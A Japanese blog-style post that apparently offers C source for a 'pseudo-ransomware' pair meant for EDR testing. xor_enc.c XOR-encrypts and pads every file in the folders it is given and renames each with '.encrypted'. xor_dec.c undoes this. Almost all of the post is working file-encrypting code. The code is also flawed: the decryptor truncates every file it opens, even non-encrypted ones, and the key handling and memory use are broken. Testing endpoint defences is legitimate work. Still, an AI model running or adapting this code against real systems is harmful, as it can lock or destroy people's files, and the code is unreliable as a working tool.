疑似Ransomwareプログラム

EDR検証用に指定したフォルダにあるファイルをXOR暗号化するプログラム。XORだけの場合、暗号化後のバイト数に変化がないため、10000バイト意味のないデータを付加している。

暗号化プログラム xor_enc.c
使用例)
引数に暗号化したいディレクトリを複数指定可能。暗号化後のファイル拡張子は元の拡張子に.encryptedと付加する。
 xor_enc.exe ./tmp1 ./tmp2 ./tmp3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <dirent.h>
 
#define key 1234
 
int main(int argc, char *argv[])
{
    DIR *dir;
    struct dirent *dp;
    char path[512];
    char newfile[512];

    FILE *file;
    int size;
    
    //書き込むデータ
    char* rdata;

    int n;

    for ( n=1; n < argc; n++) {

    	dir = opendir(argv[n]);
    	if (dir == NULL) { return 1; }

    	dp = readdir(dir);

    	while (dp != NULL) {
 
		strcpy(path, "");
 		strcat(path,argv[n]);
		strcat(path,"/");
		strcat(path,dp->d_name);

		printf("path=%s\n", path);
        
		//ファイル読み込み
		file = fopen( path ,"rb");

    		if (file != NULL) {
        		//ファイルの最後までシーク
        		fseek(file, 0, SEEK_END);
 
	       		//ファイルの大きさを取得
        		size = ftell(file);
 
	       		//メモリのサイズだけ、配列を動的に生成
        		rdata = (char*)malloc(sizeof(char)*size+10000);

        		//ポインタを戻す
        		fseek(file,0,SEEK_SET);

        		fread(rdata, sizeof(char), size, file );
        		fclose(file);
    		}
 
    		//ファイルへ書き出し
		file = fopen( path ,"wb");

    		if (file != NULL) {
        		for (int i=0; i < size+10000; i++) {
            			// XOR演算
            			fprintf(file, "%c", (char)(rdata[i] ^ key));
       			}

        		fclose(file);

			strcpy(newfile, "");

			//ファイル名変更
			if(strstr(path, ".encrypted") == NULL) {
				strcat(newfile,path);
				strcat(newfile,".encrypted");
				strcat(newfile,"\0");
				rename( path, newfile);
			}

    		}
    		//メモリ解放
    		free(rdata);

        	dp = readdir(dir);
    	}
    }

}

復号化プログラム xor_dec.c
使用例)
引数に復号化したいディレクトリを複数指定可能。ファイル拡張子は元の拡張子に戻す。
 xor_dec.exe ./tmp1 ./tmp2 ./tmp3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <dirent.h>

#define key 1234
 
int main(int argc, char *argv[])
{
    DIR *dir;
    struct dirent *dp;
    char path[512];
    char newfile[512];
    char newfile2[512];

    FILE *file;
    int size;
    
    //書き込むデータ
    char* rdata;

    int n;

    for ( n=1; n < argc; n++) {

    	dir = opendir(argv[n]);
   	 if (dir == NULL) { return 1; }

    	dp = readdir(dir);

   	 while (dp != NULL) {
 
		strcpy(path, "");
 		strcat(path,argv[n]);
		strcat(path,"/");
		strcat(path,dp->d_name);

		printf("path=%s\n", path);
        
		//ファイル読み込み
		file = fopen( path ,"rb");

    		if (file != NULL) {
        		//ファイルの最後までシーク
        		fseek(file, 0, SEEK_END);
 
	       		//ファイルの大きさを取得
        		size = ftell(file);
 
	       		//メモリのサイズだけ、配列を動的に生成
        		rdata = (char*)malloc(sizeof(char)*size);

        		//ポインタを戻す
        		fseek(file,0,SEEK_SET);

        		fread(rdata, sizeof(char), size, file );
        		fclose(file);
    		}
 
    		//ファイルへ書き出し
		file = fopen( path ,"wb");

    		if (file != NULL) {

			if(strstr(path, ".encrypted") != NULL) {

        			for (int i=0; i < size-10000; i++) {
            				// XOR演算
            				fprintf(file, "%c", (char)(rdata[i] ^ key));
       				}

        			fclose(file);

				strcpy(newfile, "");
				strcpy(newfile2, "");

				//ファイル名変更
		
				strcat(newfile,path);
				int j = strlen(newfile)-10;
				strncpy(newfile2,newfile,j);
				newfile2[j]= NULL;

				if(rename( path, newfile2) !=0){
					fputs( "Error Rename \n", stderr );
				}	
		
			}

    		}
    		//メモリ解放
    		free(rdata);

        	dp = readdir(dir);
    	}
    }
}

コメントをどうぞ